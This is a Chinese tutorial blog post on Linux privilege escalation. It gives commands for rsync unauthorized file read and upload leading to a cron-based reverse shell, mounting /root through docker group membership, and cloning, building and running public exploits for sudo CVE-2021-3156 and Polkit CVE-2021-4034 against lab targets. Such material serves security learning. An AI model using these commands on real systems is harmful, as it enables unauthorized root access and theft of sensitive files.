第105天:权限提升-Linux 系统Docker 挂载Rsync 未授权Sudo-CVEPolkitCVE

本文主要是介绍第105天:权限提升-Linux 系统Docker 挂载Rsync 未授权Sudo-CVEPolkitCVE,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

思维导图

案例一:  Linux-Rsync 未授权访问覆盖-本地

案例二:  Linux-Docker 组用户挂载目录-本地

案例三:  Linux-Sudo(CVE-2021-3156)-本地

案例四:Linux-Polkit(CVE-2021-4034)-本地


思维导图

 

案例一:  Linux-Rsync 未授权访问覆盖-本地

rsync 文件传输协议-linux  端口873

配置不当会造成未授权访问。没有配置ACL或者访问密码,可以读取目标服务器文件

靶场环境:

访问端口

 判断是否有该漏洞的方法:

rsync rsync://123.58.224.8:58515

利用读取文件

rsync rsync://123.58.224.8:58515/src

下载文件  ./ 为当前目录

rsync rsync://123.58.224.8:58515/src/etc/passwd ./

 上传文件

rsync -av passwd rsync://123.58.224.8:58515/src/tmp/passwd

 利用他去反弹shell的思路:利用计时任务

这里由于该靶场为在线靶场,有时间限制,且必须利用公网ip反弹shell,这里利用下面的网址,搭建在线靶场:Vulhub - Docker-Compose file for vulnerability environment

首先把计时任务保存到本地

查看可利用的文件

 必须加执行权限

 把脚本进行上传

 开启监听等待

刚好反弹shell

案例二:  Linux-Docker 组用户挂载目录-本地

首先条件:普通用户在docker组,利用docker服务启动镜像挂载目录
从而来访问root目录、etc目录等敏感文件来进行权限提升。

​环境搭建

useradd -d /home/test -m test  (创建test用户)
passwd test    (修改密码)
usermod -G docker test  (把test用户加入到docker组当中)

利用命令

docker run -v /root:/mnt -it alpine

docker下载alpine镜像,然后利用-v选项把/root目录挂载到docker里面的/mnt目录,-it进入docker,进去以后他会默认你是root用户,你可以去查看/mnt下里面/root的敏感文件

这里我提权拉取了一次所以没有下载过程

root目录直接挂载到了/mnt目录下获得了敏感信息的窃取

不仅可以调用/root,也可以调用其他目录,因为docker命令需要执行下载,等等操作,在这个过程当中本身就是root权限,所以所有目录都可以

案例三:  Linux-Sudo(CVE-2021-3156)-本地

影响版本

sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1

这台机器正好符合

或者利用   sudoedit -s /  去查看如果有报错那证明有漏洞,没报错证明没有

有漏洞的报错

没有漏洞的报错

可能用到的代码

git clone https://github.com/blasty/CVE-2021-3156.git  #下载
cd CVE-2021-3156
make    #编译
chmod a+x sudo-hax-me-a-sandwich #加执行权限
./sudo-hax-me-a-sandwich 1   #后面的数字1是选择模式

 执行效果

案例四:Linux-Polkit(CVE-2021-4034)-本地

漏洞影响2009年5月至今的所有polkit版本
由于polkit是系统预装工具,所有存在polkit的linux系统均受影响
如:CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等

判断

dpkg -l policykit-1

如果是这种信息的话那证明可能可以利用

git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034/
make
./cve-2021-4034

这篇关于第105天:权限提升-Linux 系统Docker 挂载Rsync 未授权Sudo-CVEPolkitCVE的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1061215

相关文章

通过Docker容器部署Python环境的全流程

《通过Docker容器部署Python环境的全流程》在现代化开发流程中,Docker因其轻量化、环境隔离和跨平台一致性的特性,已成为部署Python应用的标准工具,本文将详细演示如何通过Docker容... 目录引言一、docker与python的协同优势二、核心步骤详解三、进阶配置技巧四、生产环境最佳实践

防止Linux rm命令误操作的多场景防护方案与实践

《防止Linuxrm命令误操作的多场景防护方案与实践》在Linux系统中,rm命令是删除文件和目录的高效工具,但一旦误操作,如执行rm-rf/或rm-rf/*,极易导致系统数据灾难,本文针对不同场景... 目录引言理解 rm 命令及误操作风险rm 命令基础常见误操作案例防护方案使用 rm编程 别名及安全删除

Linux下MySQL数据库定时备份脚本与Crontab配置教学

《Linux下MySQL数据库定时备份脚本与Crontab配置教学》在生产环境中,数据库是核心资产之一,定期备份数据库可以有效防止意外数据丢失,本文将分享一份MySQL定时备份脚本,并讲解如何通过cr... 目录备份脚本详解脚本功能说明授权与可执行权限使用 Crontab 定时执行编辑 Crontab添加定

使用docker搭建嵌入式Linux开发环境

《使用docker搭建嵌入式Linux开发环境》本文主要介绍了使用docker搭建嵌入式Linux开发环境,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面... 目录1、前言2、安装docker3、编写容器管理脚本4、创建容器1、前言在日常开发全志、rk等不同

JWT + 拦截器实现无状态登录系统

《JWT+拦截器实现无状态登录系统》JWT(JSONWebToken)提供了一种无状态的解决方案:用户登录后,服务器返回一个Token,后续请求携带该Token即可完成身份验证,无需服务器存储会话... 目录✅ 引言 一、JWT 是什么? 二、技术选型 三、项目结构 四、核心代码实现4.1 添加依赖(pom

基于Python实现自动化邮件发送系统的完整指南

《基于Python实现自动化邮件发送系统的完整指南》在现代软件开发和自动化流程中,邮件通知是一个常见且实用的功能,无论是用于发送报告、告警信息还是用户提醒,通过Python实现自动化的邮件发送功能都能... 目录一、前言:二、项目概述三、配置文件 `.env` 解析四、代码结构解析1. 导入模块2. 加载环

linux系统上安装JDK8全过程

《linux系统上安装JDK8全过程》文章介绍安装JDK的必要性及Linux下JDK8的安装步骤,包括卸载旧版本、下载解压、配置环境变量等,强调开发需JDK,运行可选JRE,现JDK已集成JRE... 目录为什么要安装jdk?1.查看linux系统是否有自带的jdk:2.下载jdk压缩包2.解压3.配置环境

Linux搭建ftp服务器的步骤

《Linux搭建ftp服务器的步骤》本文给大家分享Linux搭建ftp服务器的步骤,本文通过图文并茂的形式给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录ftp搭建1:下载vsftpd工具2:下载客户端工具3:进入配置文件目录vsftpd.conf配置文件4:

深度剖析SpringBoot日志性能提升的原因与解决

《深度剖析SpringBoot日志性能提升的原因与解决》日志记录本该是辅助工具,却为何成了性能瓶颈,SpringBoot如何用代码彻底破解日志导致的高延迟问题,感兴趣的小伙伴可以跟随小编一起学习一下... 目录前言第一章:日志性能陷阱的底层原理1.1 日志级别的“双刃剑”效应1.2 同步日志的“吞吐量杀手”

Java利用@SneakyThrows注解提升异常处理效率详解

《Java利用@SneakyThrows注解提升异常处理效率详解》这篇文章将深度剖析@SneakyThrows的原理,用法,适用场景以及隐藏的陷阱,看看它如何让Java异常处理效率飙升50%,感兴趣的... 目录前言一、检查型异常的“诅咒”:为什么Java开发者讨厌它1.1 检查型异常的痛点1.2 为什么说